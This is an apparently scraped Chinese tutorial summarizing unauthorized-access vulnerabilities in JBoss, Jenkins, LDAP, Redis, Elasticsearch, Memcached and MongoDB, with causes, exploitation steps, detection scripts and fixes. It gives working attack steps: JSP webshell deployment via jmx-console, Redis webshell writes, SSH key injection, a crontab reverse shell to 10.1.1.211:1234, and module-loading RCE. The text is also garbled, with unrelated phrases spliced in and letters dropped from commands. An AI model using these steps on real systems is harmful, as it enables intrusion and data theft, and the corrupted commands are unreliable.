常见未授权访问漏洞总结
本⽂详细地介绍了常见未授权访问漏洞及其利⽤,具体漏洞列表如下:
Jboss 未授权访问
Jenkins 未授权访问
水上人家ldap未授权访问
Redis未授权访问文学活动
elasticarch未授权访问
MenCache未授权访问
Mongodb未授权访问
Rsync未授权访问
Zookeeper未授权访问
Docker未授权访问
两书一表1、Jboss未授权访问
漏洞原因:
在低版本中,默认可以访问Jboss web控制台(
漏洞利⽤:
小学生拟人句
1、写⼊⼀句话⽊马:
127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Arvice%3DDeploymentFileRepository眼眶怎么读
2、写⼊1.txt⽂件
127.0.0.1:8080/August/shell.jsp?&t=hello world!
3、访问1.txt⽂件
127.0.0.1:8080/
检测⼯具:jexboss,⼀个使⽤Python编写的Jboss漏洞检测利⽤⼯具,通过它可以检测并利⽤web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得⼀个shell。
修复建议:关闭jmx-console和web-console,提⾼安全性
2、Jenkins 未授权访问
漏洞原因:未设置密码,导致未授权访问。
漏洞测试:直接通过url访问
<target>:8080/manage
<target>:8080/script
修复建议:设置强⼝令密码。
3、ldap未授权访问
漏洞原因:没有对Ldap进⾏密码验证,导致未授权访问。
检测脚本:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
from ldap3 import Connection,Server,ALL
def ldap_anonymous(ip):
try:
电源管理驱动
rver = Server(ip,get_info=ALL,connect_timeout=1)
conn = Connection(rver, auto_bind=True)
print "[+] ldap login for anonymous"
conn.clod
except:
#pass
print '[-] checking for ldap anonymous fail'
利⽤⼯具:使⽤LdapBrowr直接连⼊,获取敏感信息。
修复建议:增加强密码验证。
4、Redis未授权访问
漏洞利⽤:
姿势⼀:绝对路径写webshell
我们可以将dir设置为⼀个⽬录a,⽽dbfilename为⽂件名b,再执⾏save或bgsave,则我们就可以写⼊⼀个路径为a/b的任意⽂件:
config t dir /home/wwwroot/default/
config t dbfilename redis.php
t webshell "<?php phpinfo(); ?>"
save
姿势⼆:公私钥认证获取root权限
1、ssh免密码配置
ssh-keygen -t rsa -P '' #⽣成公钥/私钥对
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > #将公钥写⼊ ⽂件
我的叔叔于勒续写连接 Redis 写⼊⽂件
2、连接Redis写⼊⽂件
| ./redis-cli -h 192.168.125.140 -x t crackit
./redis-cli -h 192.168.125.140
config t dir /root/.ssh/
config get dir
config t dbfilename "authorized_keys"
save
利⽤私钥成功登录redis服务器
姿势三:利⽤contrab计划任务反弹shell
config t dir /var/spool/cron/crontabs/
config t dbfilename root
flushall
t test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1"
save
姿势四:主从复制RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现⼀个新的Redis命令,通过写C语⾔编译并加载恶意的.so⽂件,达到代码执⾏的⽬的。
通过脚本实现⼀键⾃动化getshell:
1、⽣成恶意.so⽂件,下载RedisModules-ExecuteCommand使⽤make编译即可⽣成。
git clone /n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
2、攻击端执⾏: python redis-rce.py -r ⽬标ip-p ⽬标端⼝ -L 本地ip -f 恶意.so
git clone /Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so
5、Elasticarch未授权访问
漏洞原因:Elasticarch 默认端⼝为9200 ,攻击者可以直接访问
广东古镇检测脚本:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
def Elasticarch_check(ip, port=9200, timeout=5):
try:
url = ""+ip+":"+str(port)+"/_cat"
respon = (url)
except:
pass
if "/_cat/master" t:
print '[+] Elasticarch Unauthorized: ' +ip+':'+str(port)
漏洞测试:
localhost:9200/_cat/indices
localhost:9200/_river/_arch 查看数据库敏感信息
localhost:9200/_nodes 查看节点数据
如有安装head插件:
localhost:9200/_plugin/head/ web管理界⾯
修复建议:
1、限制IP访问,绑定固定IP
2、在l中为9200端⼝设置认证:
abled true #开关,开启会接管全部HTTP连接
http.basic.ur "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
6、MenCache未授权访问
漏洞原因:Memcached 分布式缓存系统,默认的 11211 端⼝不需要密码即可访问,⿊客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
检测脚本:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
try:
socket.tdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.nd("stats\r\n")
result = s.recv(1024)
if "STAT version" in result:
print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
except Exception, e:
pass
漏洞验证:
#⽆需⽤户名密码,可以直接连接memcache 服务的11211端⼝。
11211
stats //查看memcache 服务状态
stats items //查看所有items
stats cachedump 32 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
修复建议:绑定的ip地址为 127.0.0.1,或者通过firewall限制访问。
7、Mongodb未授权访问
漏洞原因:MongoDB 默认是没有权限验证的,登录的⽤户可以通过默认端⼝⽆需密码对数据库任意操作(增删改⾼危动作),⽽且可以远程访问数据库。